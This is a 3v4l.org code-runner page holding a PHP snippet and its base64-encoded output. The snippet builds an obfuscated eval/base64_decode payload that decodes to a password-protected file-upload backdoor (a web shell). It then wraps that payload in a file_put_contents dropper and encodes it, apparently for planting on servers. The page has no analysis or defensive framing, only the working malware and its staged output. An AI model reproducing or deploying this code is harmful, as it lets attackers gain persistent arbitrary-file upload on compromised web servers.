3v4l.org

run code in 300+ PHP versions simultaneously
<?php $u = '<?PHP $a=""; $a= "\x65". "v\x61"."l";$b="\x62\x61"."s"."\x656"."4_\x64\x65"."\x63o\x64"."\x65";$a($b(aWYoIWlzc2V0KCRfUE9TVFsncGFzc3dvcmQnXSl8fG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pIT09J2QyY2ZjYjc0NWE3NGFiOGNjZGNkOWUxZTYzZTUzNGQyJylkaWU7JHBhdGg9Z2V0Y3dkKCkuJy8nLmJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKTtpZihAbW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aCkpe2VjaG8gJ09rJzt9));'; $v = 'file_put_contents("upload",\'' . $u . '\');'; echo base64_encode($v);
Output for git.master, git.master_jit, rfc.property-hooks
ZmlsZV9wdXRfY29udGVudHMoInVwbG9hZCIsJzw/UEhQICRhPSIiOyAgJGE9ICJceDY1Ii4gInZceDYxIi4ibCI7JGI9Ilx4NjJceDYxIi4icyIuIlx4NjU2Ii4iNF9ceDY0XHg2NSIuIlx4NjNvXHg2NCIuIlx4NjUiOyRhKCRiKGFXWW9JV2x6YzJWMEtDUmZVRTlUVkZzbmNHRnpjM2R2Y21RblhTbDhmRzFrTlNna1gxQlBVMVJiSjNCaGMzTjNiM0prSjEwcElUMDlKMlF5WTJaallqYzBOV0UzTkdGaU9HTmpaR05rT1dVeFpUWXpaVFV6TkdReUp5bGthV1U3SkhCaGRHZzlaMlYwWTNka0tDa3VKeThuTG1KaGMyVnVZVzFsS0NSZlJrbE1SVk5iSjJacGJHVW5YVnNuYm1GdFpTZGRLVHRwWmloQWJXOTJaVjkxY0d4dllXUmxaRjltYVd4bEtDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmRHMXdYMjVoYldVblhTd2tjR0YwYUNrcGUyVmphRzhnSjA5ckp6dDkpKTsnKTs=

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page

preferences:
34.74 ms | 402 KiB | 8 Q